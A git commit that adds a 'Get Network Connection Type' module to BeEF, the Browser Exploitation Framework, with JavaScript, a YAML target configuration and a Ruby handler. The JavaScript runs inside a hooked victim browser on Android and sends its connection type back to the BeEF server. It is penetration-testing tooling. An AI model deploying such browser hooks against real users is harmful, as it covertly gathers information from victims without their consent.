Add Get Network Connection Type module

This commit is contained in:
Brendan Coles
2015-12-13 21:49:21 +00:00
parent cb4df3a72c
commit 0226a91048
3 changed files with 50 additions and 0 deletions

View File

@@ -0,0 +1,10 @@
//
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var connection_type = beef.net.connection.type();
beef.net.send('<%= @command_url %>', <%= @command_id %>, "connection="+connection_type);
});

View File

@@ -0,0 +1,26 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
get_connection_type:
enable: true
category: "Host"
name: "Get Network Connection Type"
description: "Retrieve the network connection type (wifi, 3G, etc).<br/>Note: Android only."
authors: ["bcoles"]
target:
working:
C:
os: ["Android"]
min_ver: 46
max_ver: 47
FF:
os: ["Android"]
min_ver: 42
max_ver: 42
not_working:
ALL:
os: ["All"]

View File

@@ -0,0 +1,14 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Get_connection_type < BeEF::Core::Command
def post_execute
content = {}
content['Result'] = @datastore['connection']
save content
end
end